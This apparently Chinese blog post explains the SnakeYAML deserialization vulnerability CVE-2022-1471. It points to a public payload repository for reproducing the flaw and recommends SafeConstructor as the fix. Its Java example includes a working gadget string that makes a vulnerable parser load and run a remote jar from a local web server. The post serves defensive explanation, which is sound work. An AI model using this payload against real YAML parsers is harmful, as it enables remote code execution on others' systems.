依赖坐标
漏洞风险——SnakeYAML 代码问题漏洞
CNNVD-202212-1820
CVE-2022-1471
漏洞描述
SnakeYAML是一款基于Java的YAML解析器。
SnakeYaml存在代码问题漏洞,该漏洞源于不限制在反序列化期间可以实例化的类型。攻击者利用该漏洞可以远程执行代码。
参考方案:
- 目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2
漏洞复现
https://github.com/artsploit/yaml-payload/
按照github上面给的方式编译,修改一下命令即可
然后起一个web服务
漏洞修复
http://www.hackdig.com/08/hack-745366.htm
这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
修复方案:加入new SafeConstructor()类进行过滤
package Snake;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;
public class snaketest {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}
如果没有 SafeConstructor,yaml.load将调用对象的无参数构造函数,这对于类路径中的某些类来说可能是一件坏事。使用 SafeConstructor,只有 SafeConstructornested classes( Java code) 将永远被调用。
例外修复分析(打补丁)
YAML是JSON的一个超集,也是一种方便的定义层次配置数据的格式。 将SnakeYAML库放到classpath下,Spring Boot都会自动支持YAML作为properties的替换。
如果你使用starter POMs,spring-boot-starter会自动提供snakeYAML,这就意味着在绝大部分情况下YAML的支持都是默认提供的。
此时,认为snakeyaml的使用场景仅接收可信的数据源(如springboot默认加载ym配置文件的情况),因此不认为cve-2022-1471是漏洞。
这里建议开发人员排查snakeyaml的使用情况,若:
SnakeYaml通常使用方法如下:
new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);
这时,则需要进行修复
默认情况下,SnakeYaml在解析用户提供恶意yamlContent时,即使yamlContent不满足TestDataClass类型,也会执行恶意代码。
判断是否接收外部数据,并加入new SafeConstructor()类进行过滤,如下:
Yaml yaml = new Yaml(new SafeConstructor());
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)